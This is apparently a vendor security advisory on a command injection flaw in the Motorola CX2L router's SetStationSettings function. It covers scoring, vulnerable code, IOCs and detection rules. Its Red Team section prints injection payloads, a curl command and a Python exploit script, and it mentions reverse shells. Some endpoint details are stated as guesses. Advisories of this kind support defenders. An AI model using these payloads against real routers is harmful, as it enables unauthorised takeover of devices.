CVE-2024-45880

Executive Summary

CVE-2024-45880 is a critical command injection vulnerability discovered in the Motorola CX2L router, specifically in firmware version 1.0.2 and below. The flaw resides in the SetStationSettings function, which directly passes user-supplied input (such as MAC addresses) to the system() function without any sanitization or validation. This allows an unauthenticated, remote attacker to inject arbitrary operating system commands, leading to full device compromise. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the technical details, it is assessed as critical (CVSS 9.8). No official patch has been released, and proof-of-concept (PoC) code is publicly available. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality Impact: High (C:H) – Full file system access.
• Integrity Impact: High (I:H) – Arbitrary command execution.
• Availability Impact: High (A:H) – Can cause denial of service or device bricking.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and grants full control over the device. Given the lack of a patch, all CX2L routers running firmware 1.0.2 or below are at immediate risk.

Deep Dive & Mechanics

The vulnerability exists in the SetStationSettings function of the Motorola CX2L router's web management interface. This function is designed to allow configuration of wireless client settings, including the MAC address of a station. The router's firmware uses a CGI script or a compiled binary that handles HTTP POST requests to set these parameters.

The core issue is that the function directly concatenates user-supplied input (e.g., the mac parameter) into a string that is then passed to the system() C library function. For example, the vulnerable code might look like:

char cmd[256];
snprintf(cmd, sizeof(cmd), "iwpriv ath0 set_mac %s", user_mac);
system(cmd);

Because user_mac is not sanitized, an attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands. For instance, a payload like 00:11:22:33:44:55; ls -la / would execute ls -la / after setting the MAC address.

The SetStationSettings function is typically accessible via the web interface at a path like /cgi-bin/set_station_settings or similar. The request is usually a POST with parameters like mac, ssid, or channel. The vulnerability is specifically in the mac parameter, but other parameters may also be vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware <= 1.0.2):

void SetStationSettings(char *mac) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwpriv ath0 set_mac %s", mac);
    system(cmd);
}

Patched Code (Hypothetical):

void SetStationSettings(char *mac) {
    // Validate MAC address format
    if (!is_valid_mac(mac)) {
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"iwpriv", "ath0", "set_mac", mac, NULL};
    execve("/usr/sbin/iwpriv", args, NULL);
}

The patched version validates the MAC address format (e.g., using a regex like ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$) and uses execve() instead of system() to avoid shell interpretation. However, no official patch has been released by Motorola.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Motorola CX2L router with firmware <= 1.0.2.
• Network access to the router's web interface (typically on port 80 or 443).
• A tool like curl, Burp Suite, or a custom Python script.

Exploitation Steps:

1. Identify the vulnerable endpoint: The SetStationSettings function is usually accessible via a POST request to /cgi-bin/set_station_settings or similar. Use a web fuzzer or manual inspection to find the exact path.

2. Craft the payload: Inject a command after the MAC address using a shell metacharacter. For example:

   • 00:11:22:33:44:55; ls -la / (list root directory)
   • 00:11:22:33:44:55|reboot (reboot the router)
   • 00:11:22:33:44:55 id (execute id command)

3. Send the exploit using curl:

   curl -X POST http://<router_ip>/cgi-bin/set_station_settings \
        -d "mac=00:11:22:33:44:55;id"
   

4. Verify execution: The output of the injected command may be reflected in the HTTP response or logged. For a blind command injection, use a reverse shell or out-of-band exfiltration (e.g., DNS or HTTP callback).

Example Python Exploit Script:

import requests

target = "http://192.168.1.1/cgi-bin/set_station_settings"
payload = "00:11:22:33:44:55;id"

data = {"mac": payload}
response = requests.post(target, data=data)

print("Response:", response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/set_station_settings for suspicious mac parameters containing shell metacharacters (;, |, &, `, $()).
• Look for unusual outbound connections from the router (e.g., reverse shells, DNS queries to unknown domains).
• Check for unexpected processes running on the router (e.g., telnetd, nc, bash).

Mitigation:

• If possible, block access to the router's web interface from untrusted networks (e.g., WAN side).
• Implement a Web Application Firewall (WAF) or intrusion prevention system (IPS) to filter malicious payloads.
• Monitor for firmware updates from Motorola and apply them immediately.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/set_station_settings with mac parameter containing ;, |, &, `, or $().
  • Outbound connections from the router to unusual IP addresses or domains (e.g., for reverse shells).
  • DNS queries to domains used for command exfiltration (e.g., burpcollaborator.net).

• Host IOCs (on the router):

  • Unexpected processes: telnetd, nc, bash, python, perl.
  • Modified or new files in /tmp or /var/run.
  • Unusual entries in /etc/passwd or /etc/shadow (if attacker added a backdoor user).
  • Log entries in /var/log/messages or similar showing command execution.

• File IOCs:

  • Presence of files like /tmp/exploit.sh, /tmp/reverse_shell, or similar.

Detection Engineering

YARA Rule

rule CVE_2024_45880_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Motorola CX2L SetStationSettings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45880"
    strings:
        $payload1 = /mac=[^&]*[;&|`$]/
        $payload2 = /mac=[^&]*\$\{/
        $payload3 = /mac=[^&]*\(\)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-45880 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Motorola CX2L SetStationSettings with command injection payloads
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/set_station_settings'
        cs-uri-query|re: 'mac=[^&]*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in MAC addresses (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45880 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/set_station_settings"; http_uri; pcre:"/mac=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management: If the router's web interface is accessible from the WAN side, disable it immediately. Only allow management from the LAN side.
2. Restrict access: Use firewall rules to limit access to the router's management interface to trusted IP addresses only.
3. Monitor for patches: Check Motorola's official support website regularly for firmware updates. As of now, no patch is available.

Long-term Solutions:

1. Replace the router: If possible, replace the Motorola CX2L with a device from a vendor with a better security track record and active firmware support.
2. Implement network segmentation: Place IoT devices like routers on a separate VLAN to limit the blast radius of a compromise.
3. Use a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) in front of the router to filter malicious requests.

Workaround:

• If you cannot replace the router, consider using a custom firmware (e.g., OpenWrt) if supported. However, this may void the warranty and is not recommended for non-experts.

Valters IT
Securing Digital Frontiers